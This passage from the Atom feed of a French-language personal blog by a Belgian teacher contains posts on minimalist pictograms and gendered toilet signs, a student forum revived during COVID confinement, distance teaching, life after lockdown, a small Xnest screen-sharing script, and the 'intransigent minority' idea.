&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="https://unsplash.com/photos/9gpERFdyDW4"&gt;Xiaolong Wong&lt;/a&gt; chez  Unsplash. Une orange bien découpée fait un beau camembert.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Pictogramme, au plus simple au mieux</title><link href="http://blog.namok.be/2020-05-13-pictogramme.html" rel="alternate"/><published>2020-05-13T00:00:00+02:00</published><updated>2020-05-13T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2020-05-13:/2020-05-13-pictogramme.html</id><summary type="html">Pictogramme, au plus simple au mieux</summary><content type="html">&lt;p&gt;&lt;img alt="where_is_the_toilette___by_recycleit_dr4uwn.jpg, mai 2020" src="/images/where_is_the_toilette___by_recycleit_dr4uwn.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Parlons un peu pictogrammes et communication visuelle.&lt;/p&gt;
&lt;p&gt;Hier &lt;a href="https://www.rtbf.be/info/monde/detail_geneve-feminise-ses-panneaux-de-circulation?id=10411542"&gt;il s&amp;rsquo;agissait de féminiser les pictogrammes dans la ville de Genève&lt;/a&gt; qui est pour moi (aussi) une &lt;a href="http://sexes.blogs.liberation.fr/2020/01/20/faut-il-tomber-dans-le-panneau/"&gt;fausse bonne idée&lt;/a&gt; et aujourd&amp;rsquo;hui apparaissent des pictogrammes montrant qu&amp;rsquo;&lt;a href="https://graphism.fr/coronavirus-et-deconfinement-vers-un-design-de-lautorite/"&gt;il faut porter un masque&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Un pictogramme doit être le plus simple possible pour qu&amp;rsquo;il soit lisible et compréhensible.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Dans mon éducation au design, j’ai appris que pour faire un bon design, il faut retirer, retirer, retirer… et c’est quand il n’y a plus rien à retirer ni à ajouter qu’on arrive à un bon design.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://graphism.fr/coronavirus-et-deconfinement-vers-un-design-de-lautorite/"&gt;Geoffrey Dorne&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En ce sens, il n&amp;rsquo;y a aucune raison de féminiser, « colorer » au sens &lt;em&gt;raciser&lt;/em&gt;, proposer un &lt;em&gt;picto&lt;/em&gt; pour « gros » et un pour « maigres », pour « petits » et pour « grands »… Si un pictogramme doit représenter une personne, le plus simple, c&amp;rsquo;est de représenter un tronc, une tête, des bras et des jambes. Le tout sans forme. Pour une tête, un rond suffit. J&amp;rsquo;aime donc beaucoup le &lt;em&gt;picto&lt;/em&gt; proposé par la &lt;em&gt;sncf&lt;/em&gt; pour représenter une personne portant un masque :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;un rond pour la tête sans s&amp;rsquo;embarrasser de cheveux longs ou courts ou &lt;em&gt;coupe mulet&lt;/em&gt; ni de nez long, court ou « crochu avec un gros bouton »;&lt;/li&gt;
&lt;li&gt;une forme avec élastique pour le masque;&lt;/li&gt;
&lt;li&gt;c&amp;rsquo;est tout.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="picto-masque-sncf.png, mai 2020" src="/images/picto-masque-sncf.png"&gt;&lt;/p&gt;
&lt;p&gt;Le seul point difficile pour moi dans la communication avec pictogrammes est lorsqu&amp;rsquo;il &lt;em&gt;faut&lt;/em&gt; différencier le genre ou le sexe.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Différencier le genre ou le sexe ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Comme je le comprends, &lt;a href="https://www.who.int/gender/whatisgender/fr/"&gt;le sexe se réfère plus aux caractéristiques biologiques et physiologiques qui différencient les hommes et les femmes tandis que le genre évoque plutôt le rôle que l&amp;rsquo;on associe généralement à un sexe&lt;/a&gt;. L&amp;rsquo;excellente question du jour pour penser à autre chose qu&amp;rsquo;au coronavirus sera :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Veux-tu faire une différence homme/femme (le sexe) ou masculin/féminin (le genre) ?&lt;br&gt;
Dans l&amp;rsquo;affirmative, quel pictogramme utiliser ?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Prenons l&amp;rsquo;&lt;strong&gt;exemple des toilettes&lt;/strong&gt;.  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Préalable : je suis un ardent défenseur des toilettes mixtes.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Quelles sont les raisons que l&amp;rsquo;on pourrait avancer pour proposer des toilettes hommes/femmes ou masculines/féminines ? Lesquelles vous semblent défendables ?&lt;/p&gt;
&lt;p&gt;Il faut différencier les toilettes hommes/femmes parce que l&amp;rsquo;odeur et les bruits sont différents, les femmes sont plus propres, les femmes ont besoin d&amp;rsquo;une poubelle, la présence d&amp;rsquo;urinoirs est gênante ? Ou bien, il est nécessaire d&amp;rsquo;avoir des toilettes masculines/féminines parce qu&amp;rsquo;il est socialement accepté que les hommes sont sales et que les femmes se maquillent… d&amp;rsquo;ailleurs, elles ch…nt des paillettes.&lt;/p&gt;
&lt;p&gt;&lt;img alt="picto-hf.png, mai 2020" class="right" src="/images/picto-hf.png" title="picto-hf.png, mai 2020" width="33%"&gt;&lt;/p&gt;
&lt;p&gt;Je ne trouve définitivement aucune raison défendable.&lt;/p&gt;
&lt;p&gt;Si vraiment tu insistes, tes pictogrammes différenciant le sexe pourraient être comme çi-contre. Par contre, si tu t&amp;rsquo;obstines à vouloir différencier le genre, n&amp;rsquo;hésite pas et vas-y à grands coups de robe et de cravate voire de rose et de bleu.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez DeviantArt par &lt;a href="https://www.deviantart.com/recycleit/art/Where-is-the-toilette-45576311"&gt;recycleit&lt;/a&gt; pour l&amp;rsquo;illustration de l&amp;rsquo;article. La photo « sncf » provient de l&amp;rsquo;article de &lt;a href="https://graphism.fr/coronavirus-et-deconfinement-vers-un-design-de-lautorite/"&gt;Geoffrey Dorne&lt;/a&gt; et le super-picto est de moi.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Fora reborn</title><link href="http://blog.namok.be/2020-04-14-fora-reborn.html" rel="alternate"/><published>2020-04-14T00:00:00+02:00</published><updated>2020-04-14T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2020-04-14:/2020-04-14-fora-reborn.html</id><summary type="html">Fora reborn</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images//qinghill-x8MZ2MoEKLE-unsplash-cut.jpg" title="an arbre et une fleur"&gt;&lt;/p&gt;
&lt;p&gt;Jadis. Au siècle dernier ou presque, j&amp;rsquo;avais mis en place un &lt;strong&gt;forum&lt;/strong&gt; à destination des étudiants et étudiantes.&lt;a href="http://web.archive.org/web/20060815000000*/fora.namok.be"&gt;&lt;em&gt;The wabyback machine&lt;/em&gt; me dit que c&amp;rsquo;était en 2006&lt;/a&gt; et ça a bien duré 9 ans. Un bail.&lt;/p&gt;
&lt;p&gt;Il y avait des salons pour plusieurs cours et les étudiants et étudiantes venaient. Le forum leur permettait de poser des questions quand iels voulaient même en dehors des cours. Pour les profs, c&amp;rsquo;était un service rendu bien sûr, mais aussi l&amp;rsquo;occasion donnée aux étudiants et étudiantes d&amp;rsquo;apprendre à formuler correctement une question en précisant ce qui a déjà été mis en œuvre pour trouver une réponse. Et, en plus, on se marrait bien.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot fora, 2012" src="/images/fora-2012.png" title="Screenshot fora, 2012"&gt;&lt;/p&gt;
&lt;p&gt;Puis des étudiants ont décidé, avec l&amp;rsquo;avènement de Facebook, de créer des groupes Facebook pour « être entre eux »… et le forum est doucement mort. Bouh.&lt;/p&gt;
&lt;p&gt;Avec la grande hibernation, nous voulions proposer des moyens de communications synchrone et asynchrone. Nous utilisons un ou plusieurs forum de Moodle — l&amp;rsquo;outil utilisé pour la plateforme de &lt;em&gt;elearning&lt;/em&gt; — pour la communication asynchrone et &lt;em&gt;Hangout Chat de Google&lt;/em&gt; pour la communication synchrone.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est un peu une renaissance de forum et je trouve toujours aussi sympa de répondre à des questions d&amp;rsquo;étudiants et étudiantes à n&amp;rsquo;importe quelle heure de la nuit et de la journée.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez Unsplash par &lt;a href="https://unsplash.com/photos/x8MZ2MoEKLE"&gt;Qinquil&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Le professeur ne nous a rien appris</title><link href="http://blog.namok.be/2020-04-14-le-professeur-ne-nous-a-rien-appris.html" rel="alternate"/><published>2020-04-14T00:00:00+02:00</published><updated>2020-04-14T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2020-04-14:/2020-04-14-le-professeur-ne-nous-a-rien-appris.html</id><summary type="html">Le professeur ne nous a rien appris</summary><content type="html">&lt;p&gt;&lt;img alt="" src="/images/nigel-cohen-gwpx9DOKB4w-unsplash-1200.jpg" title="une petite fille donne du pain à des oies"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;La libre&lt;/em&gt; publiait ce vendredi 10 avril 2020 une opinion de Thomas Ravanelli intitulée : &lt;a href="https://www.lalibre.be/debats/opinions/confinement-et-etudes-superieures-si-le-professeur-ne-nous-a-rien-appris-il-n-y-a-rien-a-evaluer-5e8f18409978e228415c3a18"&gt;Confinement et études supérieures : si le professeur ne nous a rien appris, il n’y a rien à évaluer&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Le titre est probablement choisi par &lt;em&gt;La libre&lt;/em&gt; pour attirer le chaland mais il se trouve cependant dans le texte et, avant la lecture de l&amp;rsquo;article, ce titre me bloque.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le professeur ne nous a rien appris.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Mon métier — je suis enseignant et c&amp;rsquo;est pourquoi l&amp;rsquo;article me fait réagir — n&amp;rsquo;est pas d&amp;rsquo;apprendre mais d&amp;rsquo;&lt;strong&gt;essayer de mettre en situation d&amp;rsquo;apprentissage&lt;/strong&gt;. D&amp;rsquo;ailleurs, n&amp;rsquo;appelle-t-on pas l&amp;rsquo;étudiant ou l&amp;rsquo;étudiante, l&amp;rsquo;apprenant ou l&amp;rsquo;apprenante. Preuve, s&amp;rsquo;il en est, que c&amp;rsquo;est bien cette personne qui apprend.&lt;/p&gt;
&lt;p&gt;Quand je lis cette phrase, je perçois un grand manque d&amp;rsquo;autonomie ou une formulation malheureuse. La personne qui attend que le prof &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; lui apprenne est dans une position d&amp;rsquo;attente comme une oie que l&amp;rsquo;on gave. L&amp;rsquo;apprentissage est différent du &lt;em&gt;binge-watching&lt;/em&gt; où la personne est totalement passive et simple réceptrice d&amp;rsquo;images, de sons, de transparents de cours, d&amp;rsquo;enregistrements vidéo de séances, etc. Pour moi, apprendre est un &lt;strong&gt;processus actif&lt;/strong&gt; : je lis, je cherche, je demande, je trouve, je note, je résume, je reformule, je compulse, j&amp;rsquo;écoute, j&amp;rsquo;essaie, je me trompe, je recommence, je dessine, etc. Je suis conscient que nos étudiants et étudiantes de première année ne sont, pour la plupart, pas ou peu prêtes &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; à cette demande d&amp;rsquo;autonomie et nous faisons au mieux pour les y préparer. Étape par étape et certains et certaines enseignantes &lt;sup id="fnref2:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt; du primaire – dans des écoles à pédagogie dite alternative malheureusement trop rares — et du secondaire préparent les enfants à être acteurs et actrices de leurs apprentissages et non spectatrices. Un acteur est actif, un spectateur passif.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Ensuite, est arrivée la « grande hibernation » suite au COVID-19 2020&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Les haute-écoles et universités ne sont pas « passées à un enseignement à distance » absolu où tous les cours sont remplacés par du &lt;em&gt;elearning&lt;/em&gt; ou des &lt;em&gt;MOOC&lt;/em&gt; préparés de longue date par des personnes formées à l&amp;rsquo;enseignement à distance. Non, les haute-écoles et les universités essaient de proposer une alternative temporaire à l&amp;rsquo;enseignement en présentiel. Elles essaient — c&amp;rsquo;est du moins l&amp;rsquo;intention que je leur prête et je ne suis pas le seul — de ne pas laisser tomber leurs étudiants et étudiantes et de leur permettre de réussir des crédits afin de ne pas hypothéquer leurs études ni dévaloriser leur diplôme.&lt;/p&gt;
&lt;p&gt;— J&amp;rsquo;ai été diplômé en 2020.&lt;br&gt;
— Ah oui, nous vous recontacterons.&lt;/p&gt;
&lt;p&gt;La consigne reçue étant que « &lt;a href="http://enseignement.be/index.php?page=28301&amp;amp;navi=4684"&gt;dans la mesure du possible, les modules de cours sont organisés à distance. Ainsi, les activités d’apprentissage à distance remplacent les activités d’apprentissage en présentiel qui sont suspendues.&lt;/a&gt; », la majorité des enseignants a réfléchi à la meilleure manière de faire, avec plus ou moins de réussite en fonction des cours, des établissements et des sensibilités de chaque personne. Nous sommes évidemment conscients que le quotidien des étudiants et le nôtre a changé et qu&amp;rsquo;être « en confinement » ne signifie pas disposer de davantage de temps à consacrer à l&amp;rsquo;école. C&amp;rsquo;est peut-être se trouver dans un environnement moins adapté à la ville ou à la campagne, trouver et partager des solutions informatiques, accéder différemment à la documentation, s&amp;rsquo;occuper d&amp;rsquo;enfants, s&amp;rsquo;inquiéter et soutenir les personnes fragiles ou non de son entourage, etc.&lt;/p&gt;
&lt;p&gt;Alors j&amp;rsquo;essaie de mettre mes étudiants et étudiantes en situation d&amp;rsquo;apprentissage de manière un peu différente mais peut-être pas tant que ça. Les lectures proposées — syllabus, transparents, liens, etc. — restent identiques, les réponses aux questions &lt;em&gt;via&lt;/em&gt; &lt;a href="2020-04-14-fora-reborn.html"&gt;forum refont surface&lt;/a&gt; — et c&amp;rsquo;est un excellent apprentissage de formulation de questions que l&amp;rsquo;on avait un peu perdu —, les réponses individuelles et les exposés oraux ont changé et c&amp;rsquo;est à la fois difficile et excitant.&lt;/p&gt;
&lt;p&gt;Quand l&amp;rsquo;aide écrite — via forum ou &lt;em&gt;chat&lt;/em&gt; — ne suffit pas une visioconférence à deux avec partage d&amp;rsquo;écran de l&amp;rsquo;étudiant résout souvent le problème. C&amp;rsquo;est une aide individuelle appréciable.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;exposé oral donné en visioconférence est évidemment l&amp;rsquo;exercice le plus difficile. Je rabâche mes étudiants et étudiantes pour qu&amp;rsquo;&lt;em&gt;iels&lt;/em&gt; me montrent sur le visage s&amp;rsquo;&lt;em&gt;iels&lt;/em&gt; m&amp;rsquo;entendent, me comprennent ou pas, ont besoin d&amp;rsquo;une explication supplémentaire ou que j&amp;rsquo;aille plus vite ou plus lentement… et bien sûr la petite led de ma &lt;em&gt;webcam&lt;/em&gt; ne me donne pas cette information très utile. J&amp;rsquo;essaie de m&amp;rsquo;y faire. En échange il est possible de visionner l&amp;rsquo;enregistrement à la vitesse que l&amp;rsquo;on veut et le revoir autant de fois que nécessaire… quand on veut. Un prêté pour un rendu. C&amp;rsquo;est temporaire.&lt;/p&gt;
&lt;p&gt;Bien sûr, dans la vraie vie, dans tous les groupes partout et en tout temps, les individus étant différents, certains préfèreront les cours en présentiel alors que d&amp;rsquo;autres se satisferont des cours à distance. À mon avis il faudra envisager un meilleur mélange à la sortie du confinement.&lt;/p&gt;
&lt;p&gt;Bien sûr, dans la vraie vie, dans tous les groupes partout et en tout temps, les individus étant différents, il y a toujours les profs &lt;sup id="fnref2:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; qui font le boulot et qui s&amp;rsquo;adaptent — avec plus ou moins de réussite — et les autres qui ne le font pas, arguant qu&amp;rsquo;ils ou elles n&amp;rsquo;ont pas les compétences, la formation… ou simplement l&amp;rsquo;envie. Ces seconds sont sans doute moins autonomes que les premiers et nous ne sommes jamais « logés à la même enseigne » parce que nous sommes différents et que nos vécus et nos réalités sont différentes &lt;sup id="fnref3:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;. C&amp;rsquo;est peut-être réagir à la &lt;em&gt;#notAllProfs&lt;/em&gt; que de rappeler nos différences mais je ne peux pas m&amp;rsquo;en empêcher en lisant « (…) les professeurs ayant disparus de la circulation. » là où j&amp;rsquo;aurais préféré lire « des professeurs ». Un choix de déterminant qui fait la différence.&lt;/p&gt;
&lt;p&gt;Portez-vous bien pour utiliser la formule de politesse à la mode.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;  &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez Unsplash par &lt;a href="https://blog.namok.be/~/home/logo-img/images/nigel-cohen-gwpx9DOKB4w-unsplash.jpg"&gt;Nigel Cohen&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;J&amp;rsquo;utilise sciemment l’abréviation pour ne pas devoir écrire le professeur ou la professeure.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;a class="footnote-backref" href="#fnref2:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Accord de proximité.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;a class="footnote-backref" href="#fnref2:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;a class="footnote-backref" href="#fnref3:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Tout sera exactement comme avant</title><link href="http://blog.namok.be/2020-03-27-tout-sera-exactement-comme-avant.html" rel="alternate"/><published>2020-03-27T00:00:00+01:00</published><updated>2020-03-27T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2020-03-27:/2020-03-27-tout-sera-exactement-comme-avant.html</id><summary type="html">Réflexion sur le confinement, ses effets et la possibilité d’un retour à la normale après la pandémie.</summary><content type="html">&lt;p&gt;&lt;img alt="pascal-debrunner-YNeuz7wCMWc-unsplash-resize.jpg, mar. 2020" src="/images/pascal-debrunner-YNeuz7wCMWc-unsplash-resize.jpg"&gt;&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est la période pour cueillir de l&amp;rsquo;&lt;a href="https://www.lalibre.be/lifestyle/food/l-ail-des-ours-8-bonnes-raisons-de-le-savourer-58ee2726cd70812a65649f93"&gt;ail des ours&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;écris ces quelques lignes pendant notre &lt;em&gt;grande hibernation&lt;/em&gt; parce que je lis &lt;a href="https://ploum.net/rien-ne-sera-jamais-plus-comme-avant/"&gt;ça&lt;/a&gt; et &lt;a href="https://www.lalibre.be/debats/edito/edito-il-y-aura-un-avant-et-un-apres-coronavirus-5e751819d8ad582f31c77b69"&gt;là&lt;/a&gt; qu&amp;rsquo;il y aura un avant et après coronavirus. Nous vivons tous quelque chose de nouveau. Une situation que nos parents n&amp;rsquo;ont pas vécue ni nos grand-parents. Nous nous souviendrons tous et toutes de ces jours de mars 2020 surement. Avril 2020 sans doute. Mai 2020 peut-être. Et après ?&lt;/p&gt;
&lt;p&gt;Quelle que soit la manière de vivre notre &lt;em&gt;grande hibernation&lt;/em&gt;, nous nous en souviendrons. Pour certaines personnes, cette période entraine beaucoup plus de travail, beaucoup plus de rencontres tandis qu&amp;rsquo;à l&amp;rsquo;autre extrème, elle amène une grande solitude. Un grand ennui. Cela dépend du métier de chaque personne. Pour nous, ces jours coincident avec des travaux dans notre rue. Notre rue qui est d&amp;rsquo;ordinaire très fréquentée ne voit (quasi) plus aucune voiture. C&amp;rsquo;est calme. C&amp;rsquo;est très calme. Nous vivons tous et toutes hors du temps. Hors de nos habitudes et, effectivement, nous en ressortirons changé.&lt;/p&gt;
&lt;p&gt;Un peu.&lt;br&gt;
Pas très longtemps.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.info-coronavirus.be/fr/faqs"&gt;Les consignes de confinement nous autorisent&lt;/a&gt; à aller au travail si le télétravail n&amp;rsquo;est pas possible et à aller faire nos courses. La règle première étant que &lt;em&gt;le citoyen ou la citoyenne reste à son domicile autant que possible&lt;/em&gt;. Nous pouvons nous rendre dans les magasins d&amp;rsquo;alimentation, y compris chez nos producteurs locaux et dans nos &lt;em&gt;petits magasins bio&lt;/em&gt;… par contre, s&amp;rsquo;il est possible d&amp;rsquo;acheter une gousse d&amp;rsquo;ail au supermarché, il n&amp;rsquo;est pas autorisé d&amp;rsquo;aller cueillir de &lt;a href="https://www.lalibre.be/lifestyle/food/l-ail-des-ours-8-bonnes-raisons-de-le-savourer-58ee2726cd70812a65649f93"&gt;l&amp;rsquo;ail des ours&lt;/a&gt; sauf si la personne peut se rendre au bois à partir de son domicile dans le cadre d&amp;rsquo;une sortie sportive ou d&amp;rsquo;une promenade. Je peux prendre ma voiture pour aller au super marché mais pas au bois. Dommage.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui le confinement de chacun fait &lt;a href="https://www.numerama.com/sciences/609098-coronavirus-la-pollution-a-t-elle-vraiment-baisse-en-chine.html"&gt;apparaitre des morceaux de ciel bleu&lt;/a&gt;, rend &lt;a href="https://www.rtbf.be/info/insolites/detail_coronavirus-a-venise-l-eau-des-canaux-redevient-limpide-video?id=10461411"&gt;l&amp;rsquo;eau des rivières plus transparente&lt;/a&gt;, &lt;em&gt;mute&lt;/em&gt; le &lt;a href="https://www.rtbf.be/info/dossier/epidemie-de-coronavirus/detail_coronavirus-le-ciel-europeen-presque-degage-avec-trois-quarts-de-vols-en-moins?id=10466117"&gt;ciel du bruit des avions&lt;/a&gt;. La pollution diminue et nous constatons que nous pouvons vivre avec moins. Nous nous disons que les fous qui parlent de &lt;a href="https://fr.wikipedia.org/wiki/Simplicit%C3%A9_volontaire"&gt;simplicité&lt;/a&gt; ne sont peut-être pas tout à fait fous. Certaines personnes qui ne cuisinaient plus, achètent de la farine et des œufs. D&amp;rsquo;autres trouvent le temps de faire un jeu de société avec leurs enfants « parce que l&amp;rsquo;on ne peut pas rester devant un écran toute la journée ». Et, toute seule ou à deux, nous allons simplement nous promener et (re)découvrir notre quartier.&lt;/p&gt;
&lt;p&gt;Nous pourrions voir une limitation de notre consommation et pourtant, il y a &lt;a href="https://www.rtbf.be/info/societe/detail_coronavirus-en-belgique-de-longues-files-devant-les-magasins-d-alimentation?id=10461090"&gt;file devant les magasins&lt;/a&gt;. Je n&amp;rsquo;ose espérer que c&amp;rsquo;est parce qu&amp;rsquo;il y a un nombre limité de personnes autorisées au mètre carré. Je crains que dès que l&amp;rsquo;on ouvrira les portes des maisons lors de la fin du confinement, l&amp;rsquo;être humain réserve ses vacances au soleil avec Rayanair parce que c&amp;rsquo;est moins cher, repense au ski raté cette année en oubliant les canons à neige, achète une appareil électronique inutile parce que ça fait longtemps, offre des jouets en plastique bon marché à ses enfants parce qu&amp;rsquo;il s&amp;rsquo;imagine qu&amp;rsquo;ils en ont manqué, passe &lt;em&gt;en vitesse&lt;/em&gt; chez Action acheter cette chose en promo inutile, arrête de faire son pain parce que ce n&amp;rsquo;est finalement pas si drôle, ne cuisine à nouveau plus et achète ce plat préparé sans vitamines et beaucoup trop sucré…&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;ira pas ramasser d&amp;rsquo;ail des ours dans le bois, d&amp;rsquo;ailleurs, il sera trop tard.&lt;br&gt;
Il n&amp;rsquo;y en aura plus.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://unsplash.com/"&gt;Unsplash&lt;/a&gt; par &lt;a href="https://unsplash.com/photos/YNeuz7wCMWc"&gt;Pascal Debrunner&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>escreenc, petit script inutile</title><link href="http://blog.namok.be/2020-03-24-escreenc.html" rel="alternate"/><published>2020-03-24T00:00:00+01:00</published><updated>2020-03-24T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2020-03-24:/2020-03-24-escreenc.html</id><summary type="html">escreenc, petit script inutile</summary><content type="html">&lt;p&gt;&lt;img alt="screen.png, mar. 2020" src="/images/escreen.png"&gt;&lt;/p&gt;
&lt;p&gt;Lors d&amp;rsquo;une visioconférence, je suis amené à montrer mon écran particulièrement lorsque je présente quelque chose. Je ne veux pas montrer mon écran complètement, j&amp;rsquo;utilise donc la possibilité offerte de montrer une seule fenêtre.&lt;/p&gt;
&lt;p&gt;Pour les cours que j&amp;rsquo;enseigne, montrer seulement les &lt;em&gt;slides&lt;/em&gt; du cours ne me suffit pas. En cours présentiel, je &lt;em&gt;switche&lt;/em&gt; souvent des &lt;em&gt;slides&lt;/em&gt; à un terminal ou des &lt;em&gt;slides&lt;/em&gt; à un environnement de développement intégré (IDE) pour illustrer mon propos d&amp;rsquo;exemples et rendre le tout plus interractif. Pour une séance de laboratoire, j&amp;rsquo;aime montrer l&amp;rsquo;énoncé, un exemple de solution et de la documentation. J&amp;rsquo;alterne alors de l&amp;rsquo;énoncé à la documentation et de la documentation à la solution. Etc.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;idée est de faire « pareil » à distance.&lt;/p&gt;
&lt;p&gt;Linux propose &lt;em&gt;Xnest&lt;/em&gt; qui est un serveur X dans une fenêtre et me permet de faire ce que je veux : partager une fenêtre contenant les applications que je veux montrer.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://git.esi-bru.be/pbt/escreenc"&gt;Voici un petit script hyper simple qui fait le boulot&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Enjoy.&lt;/p&gt;</content></entry><entry><title>La minorité intransigeante</title><link href="http://blog.namok.be/2019-12-10-la-minorite-intransigeante.html" rel="alternate"/><published>2019-12-10T00:00:00+01:00</published><updated>2019-12-10T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2019-12-10:/2019-12-10-la-minorite-intransigeante.html</id><summary type="html">La minorité intransigeante</summary><content type="html">&lt;p&gt;&lt;img alt="saucisses-camp.jpg, déc. 2019" src="/images/saucisses-camp.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;— Bière pour tout le monde ?&lt;br&gt;
— Oui.&lt;br&gt;
— Ouaip !&lt;br&gt;
— Pas de soucis.&lt;br&gt;
— Très bien pour moi.&lt;br&gt;
— Heu non, je préfère du vin. Je ne bois jamais de bière. La mousse, le gluten, &lt;em&gt;toussa&lt;/em&gt;.&lt;br&gt;
— OK, vin pour tout le monde ?&lt;br&gt;
&lt;em&gt;Tous et toutes répondent oui&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Nous avons pour la plupart déjà vécu ce genre d&amp;rsquo;exemple. C&amp;rsquo;est la même chose pour le choix d&amp;rsquo;un café dans lequel aller boire un verre, d&amp;rsquo;une activité, d&amp;rsquo;un type de nourriture — sans lait, casher/hallal (attention ça glisse), sans OGM, bio, avec moins d&amp;rsquo;emballage —, pour le choix de la langue dans une conférence où l&amp;rsquo;on choisira l&amp;rsquo;anglais si une personne ne parle pas la langue des autres, si l&amp;rsquo;on dit « Bonnes fêtes » au lieu de « Joyeux Noël », « Bonjour » plutôt que « Bonjour Madame »…&lt;/p&gt;
&lt;p&gt;Beaucoup pensent que « la majorité l&amp;rsquo;emporte » et que le choix majoritaire s&amp;rsquo;impose toujours dans un groupe. Si ce n&amp;rsquo;est pas le cas, ce sera alors le consensus. Si la majorité est souple, composées de personnes accueillantes, tolérantes, voire molles et que la minorité l&amp;rsquo;est moins la situation peut s&amp;rsquo;inverser.&lt;/p&gt;
&lt;p&gt;Prenons l&amp;rsquo;exemple d&amp;rsquo;un barbecue où l&amp;rsquo;on propose un « pain-saucisse ». C&amp;rsquo;est un exemple. Pour illustrer.&lt;/p&gt;
&lt;p&gt;S&amp;rsquo;il n&amp;rsquo;y a &lt;em&gt;pas de minorité&lt;/em&gt;, tout le monde aime bien les saucisses — et les bières — et tout va bien ;-)&lt;/p&gt;
&lt;p&gt;Parfois l&amp;rsquo;une ou l&amp;rsquo;autre personne n&amp;rsquo;a pas envie de saucisse et préfère du poisson. Si c&amp;rsquo;est une &lt;em&gt;minorité souple&lt;/em&gt;, elle apporte du poisson qu&amp;rsquo;elle déposera sur le barbecue ou ne mange que le pain ou n&amp;rsquo;importe quelle autre solution…&lt;/p&gt;
&lt;p&gt;Si la &lt;em&gt;minorité devient intransigeante&lt;/em&gt;, elle ne voudra pas que le poisson cuise à côté des saucisses. Voire que les saucisses existent. Si la majorité est également intransigeante, on arrive alors à un point de rupture… et la fête risque de ne pas se faire. Avec une &lt;em&gt;majorité souple&lt;/em&gt;, et c&amp;rsquo;est le cas qui nous occupe, tout le monde mangera du poisson.&lt;/p&gt;
